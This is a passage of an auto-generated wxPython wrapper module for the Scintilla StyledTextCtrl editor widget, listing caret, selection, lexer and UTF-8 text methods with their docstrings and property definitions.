_stc.StyledTextCtrl_SetHotspotActiveUnderline(*args, **kwargs)\n\n def SetHotspotSingleLine(*args, **kwargs):\n \"\"\"\n SetHotspotSingleLine(self, bool singleLine)\n\n Limit hotspots to single line so hotspots on two lines don't merge.\n \"\"\"\n return _stc.StyledTextCtrl_SetHotspotSingleLine(*args, **kwargs)\n\n def ParaDown(*args, **kwargs):\n \"\"\"\n ParaDown(self)\n\n Move caret between paragraphs (delimited by empty lines).\n \"\"\"\n return _stc.StyledTextCtrl_ParaDown(*args, **kwargs)\n\n def ParaDownExtend(*args, **kwargs):\n \"\"\"ParaDownExtend(self)\"\"\"\n return _stc.StyledTextCtrl_ParaDownExtend(*args, **kwargs)\n\n def ParaUp(*args, **kwargs):\n \"\"\"ParaUp(self)\"\"\"\n return _stc.StyledTextCtrl_ParaUp(*args, **kwargs)\n\n def ParaUpExtend(*args, **kwargs):\n \"\"\"ParaUpExtend(self)\"\"\"\n return _stc.StyledTextCtrl_ParaUpExtend(*args, **kwargs)\n\n def PositionBefore(*args, **kwargs):\n \"\"\"\n PositionBefore(self, int pos) -> int\n\n Given a valid document position, return the previous position taking code\n page into account. Returns 0 if passed 0.\n \"\"\"\n return _stc.StyledTextCtrl_PositionBefore(*args, **kwargs)\n\n def PositionAfter(*args, **kwargs):\n \"\"\"\n PositionAfter(self, int pos) -> int\n\n Given a valid document position, return the next position taking code\n page into account. Maximum value returned is the last position in the document.\n \"\"\"\n return _stc.StyledTextCtrl_PositionAfter(*args, **kwargs)\n\n def CopyRange(*args, **kwargs):\n \"\"\"\n CopyRange(self, int start, int end)\n\n Copy a range of text to the clipboard. Positions are clipped into the document.\n \"\"\"\n return _stc.StyledTextCtrl_CopyRange(*args, **kwargs)\n\n def CopyText(*args, **kwargs):\n \"\"\"\n CopyText(self, int length, String text)\n\n Copy argument text to the clipboard.\n \"\"\"\n return _stc.StyledTextCtrl_CopyText(*args, **kwargs)\n\n def SetSelectionMode(*args, **kwargs):\n \"\"\"\n SetSelectionMode(self, int mode)\n\n Set the selection mode to stream (SC_SEL_STREAM) or rectangular (SC_SEL_RECTANGLE) or\n by lines (SC_SEL_LINES).\n \"\"\"\n return _stc.StyledTextCtrl_SetSelectionMode(*args, **kwargs)\n\n def GetSelectionMode(*args, **kwargs):\n \"\"\"\n GetSelectionMode(self) -> int\n\n Get the mode of the current selection.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelectionMode(*args, **kwargs)\n\n def GetLineSelStartPosition(*args, **kwargs):\n \"\"\"\n GetLineSelStartPosition(self, int line) -> int\n\n Retrieve the position of the start of the selection at the given line (INVALID_POSITION if no selection on this line).\n \"\"\"\n return _stc.StyledTextCtrl_GetLineSelStartPosition(*args, **kwargs)\n\n def GetLineSelEndPosition(*args, **kwargs):\n \"\"\"\n GetLineSelEndPosition(self, int line) -> int\n\n Retrieve the position of the end of the selection at the given line (INVALID_POSITION if no selection on this line).\n \"\"\"\n return _stc.StyledTextCtrl_GetLineSelEndPosition(*args, **kwargs)\n\n def LineDownRectExtend(*args, **kwargs):\n \"\"\"\n LineDownRectExtend(self)\n\n Move caret down one line, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineDownRectExtend(*args, **kwargs)\n\n def LineUpRectExtend(*args, **kwargs):\n \"\"\"\n LineUpRectExtend(self)\n\n Move caret up one line, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineUpRectExtend(*args, **kwargs)\n\n def CharLeftRectExtend(*args, **kwargs):\n \"\"\"\n CharLeftRectExtend(self)\n\n Move caret left one character, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_CharLeftRectExtend(*args, **kwargs)\n\n def CharRightRectExtend(*args, **kwargs):\n \"\"\"\n CharRightRectExtend(self)\n\n Move caret right one character, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_CharRightRectExtend(*args, **kwargs)\n\n def HomeRectExtend(*args, **kwargs):\n \"\"\"\n HomeRectExtend(self)\n\n Move caret to first position on line, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_HomeRectExtend(*args, **kwargs)\n\n def VCHomeRectExtend(*args, **kwargs):\n \"\"\"\n VCHomeRectExtend(self)\n\n Move caret to before first visible character on line.\n If already there move to first character on line.\n In either case, extend rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_VCHomeRectExtend(*args, **kwargs)\n\n def LineEndRectExtend(*args, **kwargs):\n \"\"\"\n LineEndRectExtend(self)\n\n Move caret to last position on line, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_LineEndRectExtend(*args, **kwargs)\n\n def PageUpRectExtend(*args, **kwargs):\n \"\"\"\n PageUpRectExtend(self)\n\n Move caret one page up, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_PageUpRectExtend(*args, **kwargs)\n\n def PageDownRectExtend(*args, **kwargs):\n \"\"\"\n PageDownRectExtend(self)\n\n Move caret one page down, extending rectangular selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_PageDownRectExtend(*args, **kwargs)\n\n def StutteredPageUp(*args, **kwargs):\n \"\"\"\n StutteredPageUp(self)\n\n Move caret to top of page, or one page up if already at top of page.\n \"\"\"\n return _stc.StyledTextCtrl_StutteredPageUp(*args, **kwargs)\n\n def StutteredPageUpExtend(*args, **kwargs):\n \"\"\"\n StutteredPageUpExtend(self)\n\n Move caret to top of page, or one page up if already at top of page, extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_StutteredPageUpExtend(*args, **kwargs)\n\n def StutteredPageDown(*args, **kwargs):\n \"\"\"\n StutteredPageDown(self)\n\n Move caret to bottom of page, or one page down if already at bottom of page.\n \"\"\"\n return _stc.StyledTextCtrl_StutteredPageDown(*args, **kwargs)\n\n def StutteredPageDownExtend(*args, **kwargs):\n \"\"\"\n StutteredPageDownExtend(self)\n\n Move caret to bottom of page, or one page down if already at bottom of page, extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_StutteredPageDownExtend(*args, **kwargs)\n\n def WordLeftEnd(*args, **kwargs):\n \"\"\"\n WordLeftEnd(self)\n\n Move caret left one word, position cursor at end of word.\n \"\"\"\n return _stc.StyledTextCtrl_WordLeftEnd(*args, **kwargs)\n\n def WordLeftEndExtend(*args, **kwargs):\n \"\"\"\n WordLeftEndExtend(self)\n\n Move caret left one word, position cursor at end of word, extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordLeftEndExtend(*args, **kwargs)\n\n def WordRightEnd(*args, **kwargs):\n \"\"\"\n WordRightEnd(self)\n\n Move caret right one word, position cursor at end of word.\n \"\"\"\n return _stc.StyledTextCtrl_WordRightEnd(*args, **kwargs)\n\n def WordRightEndExtend(*args, **kwargs):\n \"\"\"\n WordRightEndExtend(self)\n\n Move caret right one word, position cursor at end of word, extending selection to new caret position.\n \"\"\"\n return _stc.StyledTextCtrl_WordRightEndExtend(*args, **kwargs)\n\n def SetWhitespaceChars(*args, **kwargs):\n \"\"\"\n SetWhitespaceChars(self, String characters)\n\n Set the set of characters making up whitespace for when moving or selecting by word.\n Should be called after SetWordChars.\n \"\"\"\n return _stc.StyledTextCtrl_SetWhitespaceChars(*args, **kwargs)\n\n def SetCharsDefault(*args, **kwargs):\n \"\"\"\n SetCharsDefault(self)\n\n Reset the set of characters for whitespace and word characters to the defaults.\n \"\"\"\n return _stc.StyledTextCtrl_SetCharsDefault(*args, **kwargs)\n\n def AutoCompGetCurrent(*args, **kwargs):\n \"\"\"\n AutoCompGetCurrent(self) -> int\n\n Get currently selected item position in the auto-completion list\n \"\"\"\n return _stc.StyledTextCtrl_AutoCompGetCurrent(*args, **kwargs)\n\n def Allocate(*args, **kwargs):\n \"\"\"\n Allocate(self, int bytes)\n\n Enlarge the document to a particular size of text bytes.\n \"\"\"\n return _stc.StyledTextCtrl_Allocate(*args, **kwargs)\n\n def FindColumn(*args, **kwargs):\n \"\"\"\n FindColumn(self, int line, int column) -> int\n\n Find the position of a column on a line taking into account tabs and\n multi-byte characters. If beyond end of line, return line end position.\n \"\"\"\n return _stc.StyledTextCtrl_FindColumn(*args, **kwargs)\n\n def GetCaretSticky(*args, **kwargs):\n \"\"\"\n GetCaretSticky(self) -> bool\n\n Can the caret preferred x position only be changed by explicit movement commands?\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretSticky(*args, **kwargs)\n\n def SetCaretSticky(*args, **kwargs):\n \"\"\"\n SetCaretSticky(self, bool useCaretStickyBehaviour)\n\n Stop the caret preferred x position changing when the user types.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretSticky(*args, **kwargs)\n\n def ToggleCaretSticky(*args, **kwargs):\n \"\"\"\n ToggleCaretSticky(self)\n\n Switch between sticky and non-sticky: meant to be bound to a key.\n \"\"\"\n return _stc.StyledTextCtrl_ToggleCaretSticky(*args, **kwargs)\n\n def SetPasteConvertEndings(*args, **kwargs):\n \"\"\"\n SetPasteConvertEndings(self, bool convert)\n\n Enable/Disable convert-on-paste for line endings\n \"\"\"\n return _stc.StyledTextCtrl_SetPasteConvertEndings(*args, **kwargs)\n\n def GetPasteConvertEndings(*args, **kwargs):\n \"\"\"\n GetPasteConvertEndings(self) -> bool\n\n Get convert-on-paste setting\n \"\"\"\n return _stc.StyledTextCtrl_GetPasteConvertEndings(*args, **kwargs)\n\n def SelectionDuplicate(*args, **kwargs):\n \"\"\"\n SelectionDuplicate(self)\n\n Duplicate the selection. If selection empty duplicate the line containing the caret.\n \"\"\"\n return _stc.StyledTextCtrl_SelectionDuplicate(*args, **kwargs)\n\n def SetCaretLineBackAlpha(*args, **kwargs):\n \"\"\"\n SetCaretLineBackAlpha(self, int alpha)\n\n Set background alpha of the caret line.\n \"\"\"\n return _stc.StyledTextCtrl_SetCaretLineBackAlpha(*args, **kwargs)\n\n def GetCaretLineBackAlpha(*args, **kwargs):\n \"\"\"\n GetCaretLineBackAlpha(self) -> int\n\n Get the background alpha of the caret line.\n \"\"\"\n return _stc.StyledTextCtrl_GetCaretLineBackAlpha(*args, **kwargs)\n\n def StartRecord(*args, **kwargs):\n \"\"\"\n StartRecord(self)\n\n Start notifying the container of all key presses and commands.\n \"\"\"\n return _stc.StyledTextCtrl_StartRecord(*args, **kwargs)\n\n def StopRecord(*args, **kwargs):\n \"\"\"\n StopRecord(self)\n\n Stop notifying the container of all key presses and commands.\n \"\"\"\n return _stc.StyledTextCtrl_StopRecord(*args, **kwargs)\n\n def SetLexer(*args, **kwargs):\n \"\"\"\n SetLexer(self, int lexer)\n\n Set the lexing language of the document.\n \"\"\"\n return _stc.StyledTextCtrl_SetLexer(*args, **kwargs)\n\n def GetLexer(*args, **kwargs):\n \"\"\"\n GetLexer(self) -> int\n\n Retrieve the lexing language of the document.\n \"\"\"\n return _stc.StyledTextCtrl_GetLexer(*args, **kwargs)\n\n def Colourise(*args, **kwargs):\n \"\"\"\n Colourise(self, int start, int end)\n\n Colourise a segment of the document using the current lexing language.\n \"\"\"\n return _stc.StyledTextCtrl_Colourise(*args, **kwargs)\n\n def SetProperty(*args, **kwargs):\n \"\"\"\n SetProperty(self, String key, String value)\n\n Set up a value that may be used by a lexer for some optional feature.\n \"\"\"\n return _stc.StyledTextCtrl_SetProperty(*args, **kwargs)\n\n def SetKeyWords(*args, **kwargs):\n \"\"\"\n SetKeyWords(self, int keywordSet, String keyWords)\n\n Set up the key words used by the lexer.\n \"\"\"\n return _stc.StyledTextCtrl_SetKeyWords(*args, **kwargs)\n\n def SetLexerLanguage(*args, **kwargs):\n \"\"\"\n SetLexerLanguage(self, String language)\n\n Set the lexing language of the document based on string name.\n \"\"\"\n return _stc.StyledTextCtrl_SetLexerLanguage(*args, **kwargs)\n\n def GetProperty(*args, **kwargs):\n \"\"\"\n GetProperty(self, String key) -> String\n\n Retrieve a 'property' value previously set with SetProperty.\n \"\"\"\n return _stc.StyledTextCtrl_GetProperty(*args, **kwargs)\n\n def GetPropertyExpanded(*args, **kwargs):\n \"\"\"\n GetPropertyExpanded(self, String key) -> String\n\n Retrieve a 'property' value previously set with SetProperty,\n with '$()' variable replacement on returned buffer.\n \"\"\"\n return _stc.StyledTextCtrl_GetPropertyExpanded(*args, **kwargs)\n\n def GetPropertyInt(*args, **kwargs):\n \"\"\"\n GetPropertyInt(self, String key) -> int\n\n Retrieve a 'property' value previously set with SetProperty,\n interpreted as an int AFTER any '$()' variable replacement.\n \"\"\"\n return _stc.StyledTextCtrl_GetPropertyInt(*args, **kwargs)\n\n def GetStyleBitsNeeded(*args, **kwargs):\n \"\"\"\n GetStyleBitsNeeded(self) -> int\n\n Retrieve the number of bits the current lexer needs for styling.\n \"\"\"\n return _stc.StyledTextCtrl_GetStyleBitsNeeded(*args, **kwargs)\n\n def GetCurrentLine(*args, **kwargs):\n \"\"\"\n GetCurrentLine(self) -> int\n\n Returns the line number of the line with the caret.\n \"\"\"\n return _stc.StyledTextCtrl_GetCurrentLine(*args, **kwargs)\n\n def StyleSetSpec(*args, **kwargs):\n \"\"\"\n StyleSetSpec(self, int styleNum, String spec)\n\n Extract style settings from a spec-string which is composed of one or\n more of the following comma separated elements::\n\n bold turns on bold\n italic turns on italics\n fore:[name or #RRGGBB] sets the foreground colour\n back:[name or #RRGGBB] sets the background colour\n face:[facename] sets the font face name to use\n size:[num] sets the font size in points\n eol turns on eol filling\n underline turns on underlining\n\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetSpec(*args, **kwargs)\n\n def StyleSetFont(*args, **kwargs):\n \"\"\"\n StyleSetFont(self, int styleNum, Font font)\n\n Set style size, face, bold, italic, and underline attributes from the\n attributes of a `wx.Font`.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetFont(*args, **kwargs)\n\n def StyleSetFontAttr(*args, **kwargs):\n \"\"\"\n StyleSetFontAttr(self, int styleNum, int size, String faceName, bool bold, \n bool italic, bool underline, int encoding=wxFONTENCODING_DEFAULT)\n\n Set all font style attributes at once.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetFontAttr(*args, **kwargs)\n\n def StyleSetCharacterSet(*args, **kwargs):\n \"\"\"\n StyleSetCharacterSet(self, int style, int characterSet)\n\n Set the character set of the font in a style. Converts the Scintilla\n wx.stc.STC_CHARSET_* set values to a wxFontEncoding.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetCharacterSet(*args, **kwargs)\n\n def StyleSetFontEncoding(*args, **kwargs):\n \"\"\"\n StyleSetFontEncoding(self, int style, int encoding)\n\n Set the font encoding to be used by a style.\n \"\"\"\n return _stc.StyledTextCtrl_StyleSetFontEncoding(*args, **kwargs)\n\n def CmdKeyExecute(*args, **kwargs):\n \"\"\"\n CmdKeyExecute(self, int cmd)\n\n Perform one of the operations defined by the wx.stc.STC_CMD_* constants.\n \"\"\"\n return _stc.StyledTextCtrl_CmdKeyExecute(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"\n SetMargins(self, int left, int right)\n\n Set the left and right margin in the edit area, measured in pixels.\n \"\"\"\n return _stc.StyledTextCtrl_SetMargins(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection(self) -> (startPos, endPos)\n\n Retrieve the start and end positions of the current selection.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelection(*args, **kwargs)\n\n def PointFromPosition(*args, **kwargs):\n \"\"\"\n PointFromPosition(self, int pos) -> Point\n\n Retrieve the point in the window where a position is displayed.\n \"\"\"\n return _stc.StyledTextCtrl_PointFromPosition(*args, **kwargs)\n\n def ScrollToLine(*args, **kwargs):\n \"\"\"\n ScrollToLine(self, int line)\n\n Scroll enough to make the given line visible.\n \"\"\"\n return _stc.StyledTextCtrl_ScrollToLine(*args, **kwargs)\n\n def ScrollToColumn(*args, **kwargs):\n \"\"\"\n ScrollToColumn(self, int column)\n\n Scroll enough to make the given column visible\n \"\"\"\n return _stc.StyledTextCtrl_ScrollToColumn(*args, **kwargs)\n\n def SendMsg(*args, **kwargs):\n \"\"\"\n SendMsg(self, int msg, UIntPtr wp=0, wxIntPtr lp=0) -> wxIntPtr\n\n Send a message to Scintilla.\n \"\"\"\n return _stc.StyledTextCtrl_SendMsg(*args, **kwargs)\n\n def SetVScrollBar(*args, **kwargs):\n \"\"\"\n SetVScrollBar(self, wxScrollBar bar)\n\n Set the vertical scrollbar to use instead of the one that's built-in.\n \"\"\"\n return _stc.StyledTextCtrl_SetVScrollBar(*args, **kwargs)\n\n def SetHScrollBar(*args, **kwargs):\n \"\"\"\n SetHScrollBar(self, wxScrollBar bar)\n\n Set the horizontal scrollbar to use instead of the ont that's built-in.\n \"\"\"\n return _stc.StyledTextCtrl_SetHScrollBar(*args, **kwargs)\n\n def GetLastKeydownProcessed(*args, **kwargs):\n \"\"\"GetLastKeydownProcessed(self) -> bool\"\"\"\n return _stc.StyledTextCtrl_GetLastKeydownProcessed(*args, **kwargs)\n\n def SetLastKeydownProcessed(*args, **kwargs):\n \"\"\"SetLastKeydownProcessed(self, bool val)\"\"\"\n return _stc.StyledTextCtrl_SetLastKeydownProcessed(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"\n SaveFile(self, String filename) -> bool\n\n Write the contents of the editor to filename\n \"\"\"\n return _stc.StyledTextCtrl_SaveFile(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"\n LoadFile(self, String filename) -> bool\n\n Load the contents of filename into the editor\n \"\"\"\n return _stc.StyledTextCtrl_LoadFile(*args, **kwargs)\n\n def DoDragOver(*args, **kwargs):\n \"\"\"\n DoDragOver(self, int x, int y, int def) -> int\n\n Allow for simulating a DnD DragOver.\n \"\"\"\n return _stc.StyledTextCtrl_DoDragOver(*args, **kwargs)\n\n def DoDropText(*args, **kwargs):\n \"\"\"\n DoDropText(self, long x, long y, String data) -> bool\n\n Allow for simulating a DnD DropText.\n \"\"\"\n return _stc.StyledTextCtrl_DoDropText(*args, **kwargs)\n\n def SetUseAntiAliasing(*args, **kwargs):\n \"\"\"\n SetUseAntiAliasing(self, bool useAA)\n\n Specify whether anti-aliased fonts should be used. Will have no\n effect on some platforms, but on some (wxMac for example) can greatly\n improve performance.\n \"\"\"\n return _stc.StyledTextCtrl_SetUseAntiAliasing(*args, **kwargs)\n\n def GetUseAntiAliasing(*args, **kwargs):\n \"\"\"\n GetUseAntiAliasing(self) -> bool\n\n Returns the current UseAntiAliasing setting.\n \"\"\"\n return _stc.StyledTextCtrl_GetUseAntiAliasing(*args, **kwargs)\n\n def AddTextRaw(*args, **kwargs):\n \"\"\"\n AddTextRaw(self, char text)\n\n Add text to the document at current position. The text should be\n utf-8 encoded on unicode builds of wxPython, or can be any 8-bit text\n in ansi builds.\n \"\"\"\n return _stc.StyledTextCtrl_AddTextRaw(*args, **kwargs)\n\n def InsertTextRaw(*args, **kwargs):\n \"\"\"\n InsertTextRaw(self, int pos, char text)\n\n Insert string at a position. The text should be utf-8 encoded on\n unicode builds of wxPython, or can be any 8-bit text in ansi builds.\n \"\"\"\n return _stc.StyledTextCtrl_InsertTextRaw(*args, **kwargs)\n\n def GetCurLineRaw(*args, **kwargs):\n \"\"\"\n GetCurLineRaw() -> (text, index)\n\n Retrieve the text of the line containing the caret, and also the index\n of the caret on the line. The returned value is a utf-8 encoded\n string in unicode builds of wxPython, or raw 8-bit text otherwise.\n \"\"\"\n return _stc.StyledTextCtrl_GetCurLineRaw(*args, **kwargs)\n\n def GetLineRaw(*args, **kwargs):\n \"\"\"\n GetLineRaw(self, int line) -> wxCharBuffer\n\n Retrieve the contents of a line. The returned value is a utf-8\n encoded string in unicode builds of wxPython, or raw 8-bit text\n otherwise.\n \"\"\"\n return _stc.StyledTextCtrl_GetLineRaw(*args, **kwargs)\n\n def GetSelectedTextRaw(*args, **kwargs):\n \"\"\"\n GetSelectedTextRaw(self) -> wxCharBuffer\n\n Retrieve the selected text. The returned value is a utf-8 encoded\n string in unicode builds of wxPython, or raw 8-bit text otherwise.\n \"\"\"\n return _stc.StyledTextCtrl_GetSelectedTextRaw(*args, **kwargs)\n\n def GetTextRangeRaw(*args, **kwargs):\n \"\"\"\n GetTextRangeRaw(self, int startPos, int endPos) -> wxCharBuffer\n\n Retrieve a range of text. The returned value is a utf-8 encoded\n string in unicode builds of wxPython, or raw 8-bit text otherwise.\n \"\"\"\n return _stc.StyledTextCtrl_GetTextRangeRaw(*args, **kwargs)\n\n def SetTextRaw(*args, **kwargs):\n \"\"\"\n SetTextRaw(self, char text)\n\n Replace the contents of the document with the argument text. The text\n should be utf-8 encoded on unicode builds of wxPython, or can be any\n 8-bit text in ansi builds.\n \"\"\"\n return _stc.StyledTextCtrl_SetTextRaw(*args, **kwargs)\n\n def GetTextRaw(*args, **kwargs):\n \"\"\"\n GetTextRaw(self) -> wxCharBuffer\n\n Retrieve all the text in the document. The returned value is a utf-8\n encoded string in unicode builds of wxPython, or raw 8-bit text\n otherwise.\n \"\"\"\n return _stc.StyledTextCtrl_GetTextRaw(*args, **kwargs)\n\n def AppendTextRaw(*args, **kwargs):\n \"\"\"\n AppendTextRaw(self, char text)\n\n Append a string to the end of the document without changing the\n selection. The text should be utf-8 encoded on unicode builds of\n wxPython, or can be any 8-bit text in ansi builds.\n \"\"\"\n return _stc.StyledTextCtrl_AppendTextRaw(*args, **kwargs)\n\n def AddTextUTF8(self, text):\n \"\"\"\n Add UTF8 encoded text to the document at the current position.\n Works 'natively' in a unicode build of wxPython, and will also work\n in an ansi build if the UTF8 text is compatible with the current\n encoding.\n \"\"\"\n if not wx.USE_UNICODE:\n u = text.decode('utf-8')\n text = u.encode(wx.GetDefaultPyEncoding())\n self.AddTextRaw(text)\n\n \n def InsertTextUTF8(self, pos, text):\n \"\"\"\n Insert UTF8 encoded text at a position. Works 'natively' in a\n unicode build of wxPython, and will also work in an ansi build if\n the UTF8 text is compatible with the current encoding.\n \"\"\"\n if not wx.USE_UNICODE:\n u = text.decode('utf-8')\n text = u.encode(wx.GetDefaultPyEncoding())\n self.InsertTextRaw(pos, text)\n\n \n def GetCurLineUTF8(self):\n \"\"\"\n Retrieve the UTF8 text of the line containing the caret, and also\n the index of the caret on the line. In an ansi build of wxPython\n the text retrieved from the document is assumed to be in the\n current default encoding.\n \"\"\"\n text, pos = self.GetCurLineRaw()\n if not wx.USE_UNICODE:\n u = text.decode(wx.GetDefaultPyEncoding())\n text = u.encode('utf-8')\n return text, pos\n\n \n def GetLineUTF8(self, line):\n \"\"\"\n Retrieve the contents of a line as UTF8. In an ansi build of wxPython\n the text retrieved from the document is assumed to be in the\n current default encoding.\n \"\"\"\n text = self.GetLineRaw(line)\n if not wx.USE_UNICODE:\n u = text.decode(wx.GetDefaultPyEncoding())\n text = u.encode('utf-8')\n return text\n\n\n def GetSelectedTextUTF8(self):\n \"\"\"\n Retrieve the selected text as UTF8. In an ansi build of wxPython\n the text retrieved from the document is assumed to be in the\n current default encoding.\n \"\"\"\n text = self.GetSelectedTextRaw()\n if not wx.USE_UNICODE:\n u = text.decode(wx.GetDefaultPyEncoding())\n text = u.encode('utf-8')\n return text\n\n\n def GetTextRangeUTF8(self, startPos, endPos):\n \"\"\"\n Retrieve a range of text as UTF8. In an ansi build of wxPython\n the text retrieved from the document is assumed to be in the\n current default encoding.\n \"\"\"\n text = self.GetTextRangeRaw(startPos, endPos)\n if not wx.USE_UNICODE:\n u = text.decode(wx.GetDefaultPyEncoding())\n text = u.encode('utf-8')\n return text\n\n\n def SetTextUTF8(self, text):\n \"\"\"\n Replace the contents of the document with the UTF8 text given.\n Works 'natively' in a unicode build of wxPython, and will also\n work in an ansi build if the UTF8 text is compatible with the\n current encoding.\n \"\"\"\n if not wx.USE_UNICODE:\n u = text.decode('utf-8')\n text = u.encode(wx.GetDefaultPyEncoding())\n self.SetTextRaw(text)\n\n\n def GetTextUTF8(self):\n \"\"\"\n Retrieve all the text in the document as UTF8. In an ansi build\n of wxPython the text retrieved from the document is assumed to be\n in the current default encoding.\n \"\"\"\n text = self.GetTextRaw()\n if not wx.USE_UNICODE:\n u = text.decode(wx.GetDefaultPyEncoding())\n text = u.encode('utf-8')\n return text\n\n\n def AppendTextUTF8(self, text):\n \"\"\"\n Append a UTF8 string to the end of the document without changing\n the selection. Works 'natively' in a unicode build of wxPython,\n and will also work in an ansi build if the UTF8 text is compatible\n with the current encoding.\n \"\"\"\n if not wx.USE_UNICODE:\n u = text.decode('utf-8')\n text = u.encode(wx.GetDefaultPyEncoding())\n self.AppendTextRaw(text)\n\n\n GetCaretLineBack = GetCaretLineBackground\n SetCaretLineBack = SetCaretLineBackground\n\n Anchor = property(GetAnchor,SetAnchor,doc=\"See `GetAnchor` and `SetAnchor`\") \n BackSpaceUnIndents = property(GetBackSpaceUnIndents,SetBackSpaceUnIndents,doc=\"See `GetBackSpaceUnIndents` and `SetBackSpaceUnIndents`\") \n BufferedDraw = property(GetBufferedDraw,SetBufferedDraw,doc=\"See `GetBufferedDraw` and `SetBufferedDraw`\") \n CaretForeground = property(GetCaretForeground,SetCaretForeground,doc=\"See `GetCaretForeground` and `SetCaretForeground`\") \n CaretLineBack = property(GetCaretLineBack,SetCaretLineBack,doc=\"See `GetCaretLineBack` and `SetCaretLineBack`\") \n CaretLineBackAlpha = property(GetCaretLineBackAlpha,SetCaretLineBackAlpha,doc=\"See `GetCaretLineBackAlpha` and `SetCaretLineBackAlpha`\") \n CaretLineBackground = property(GetCaretLineBackground,SetCaretLineBackground,doc=\"See `GetCaretLineBackground` and `SetCaretLineBackground`\") \n CaretLineVisible = property(GetCaretLineVisible,SetCaretLineVisible,doc=\"See `GetCaretLineVisible` and `SetCaretLineVisible`\") \n CaretPeriod = property(GetCaretPeriod,SetCaretPeriod,doc=\"See `GetCaretPeriod` and `SetCaretPeriod`\") \n CaretSticky = property(GetCaretSticky,SetCaretSticky,doc=\"See `GetCaretSticky` and `SetCaretSticky`\") \n CaretWidth = property(GetCaretWidth,SetCaretWidth,doc=\"See `GetCaretWidth` and `SetCaretWidth`\") \n CodePage = property(GetCodePage,SetCodePage,doc=\"See `GetCodePage` and `SetCodePage`\") \n ControlCharSymbol = property(GetControlCharSymbol,SetControlCharSymbol,doc=\"See `GetControlCharSymbol` and `SetControlCharSymbol`\") \n CurLine = property(GetCurLine,doc=\"See `GetCurLine`\") \n CurLineRaw = property(GetCurLineRaw,doc=\"See `GetCurLineRaw`\") \n CurLineUTF8 = property(GetCurLineUTF8,doc=\"See `GetCurLineUTF8`\") \n CurrentLine = property(GetCurrentLine,doc=\"See `GetCurrentLine`\") \n CurrentPos = property(GetCurrentPos,SetCurrentPos,doc=\"See `GetCurrentPos` and `SetCurrentPos`\") \n DocPointer = property(GetDocPointer,SetDocPointer,doc=\"See `GetDocPointer` and `SetDocPointer`\") \n EOLMode = property(GetEOLMode,SetEOLMode,doc=\"See `GetEOLMode` and `SetEOLMode`\") \n EdgeColour = property(GetEdgeColour,SetEdgeColour,doc=\"See `GetEdgeColour` and `SetEdgeColour`\") \n EdgeColumn = property(GetEdgeColumn,SetEdgeColumn,doc=\"See `GetEdgeColumn` and `SetEdgeColumn`\") \n EdgeMode = property(GetEdgeMode,SetEdgeMode,doc=\"See `GetEdgeMode` and `SetEdgeMode`\") \n EndAtLastLine = property(GetEndAtLastLine,SetEndAtLastLine,doc=\"See `GetEndAtLastLine` and `SetEndAtLastLine`\") \n EndStyled = property(GetEndStyled,doc=\"See `GetEndStyled`\") \n FirstVisibleLine = property(GetFirstVisibleLine,doc=\"See `GetFirstVisibleLine`\") \n HighlightGuide = property(GetHighlightGuide,SetHighlightGuide,doc=\"See `GetHighlightGuide` and `SetHighlightGuide`\") \n Indent = property(GetIndent,SetIndent,doc=\"See `GetIndent` and `SetIndent`\") \n IndentationGuides = property(GetIndentationGuides,SetIndentationGuides,doc=\"See `GetIndentationGuides` and `SetIndentationGuides`\") \n LastKeydownProcessed = property(GetLastKeydownProcessed,SetLastKeydownProcessed,doc=\"See `GetLastKeydownProcessed` and `SetLastKeydownProcessed`\") \n LayoutCache = property(GetLayoutCache,SetLayoutCache,doc=\"See `GetLayoutCache` and `SetLayoutCache`\") \n Length = property(GetLength,doc=\"See `GetLength`\") \n Lexer = property(GetLexer,SetLexer,doc=\"See `GetLexer` and `SetLexer`\") \n LineCount = property(GetLineCount,doc=\"See `GetLineCount`\") \n MarginLeft = property(GetMarginLeft,SetMarginLeft,doc=\"See `GetMarginLeft` and `SetMarginLeft`\") \n MarginRight = property(GetMarginRight,SetMarginRight,doc=\"See `GetMarginRight` and `SetMarginRight`\") \n MaxLineState = property(GetMaxLineState,doc=\"See `GetMaxLineState`\") \n ModEventMask = property(GetModEventMask,SetModEventMask,doc=\"See `GetModEventMask` and `SetModEventMask`\") \n Modify = property(GetModify,doc=\"See `GetModify`\") \n MouseDownCaptures = property(GetMouseDownCaptures,SetMouseDownCaptures,doc=\"See `GetMouseDownCaptures` and `SetMouseDownCaptures`\") \n MouseDwellTime = property(GetMouseDwellTime,SetMouseDwellTime,doc=\"See `GetMouseDwellTime` and `SetMouseDwellTime`\") \n Overtype = property(GetOvertype,SetOvertype,doc=\"See `GetOvertype` and `SetOvertype`\") \n PasteConvertEndings = property(GetPasteConvertEndings,SetPasteConvertEndings,doc=\"See `GetPasteConvertEndings` and `SetPasteConvertEndings`\") \n PrintColourMode = property(GetPrintColourMode,SetPrintColourMode,doc=\"See `GetPrintColourMode` and `SetPrintColourMode`\") \n PrintMagnification = property(GetPrintMagnification,SetPrintMagnification,doc=\"See `GetPrintMagnification` and `SetPrintMagnification`\") \n PrintWrapMode = property(GetPrintWrapMode,SetPrintWrapMode,doc=\"See `GetPrintWrapMode` and 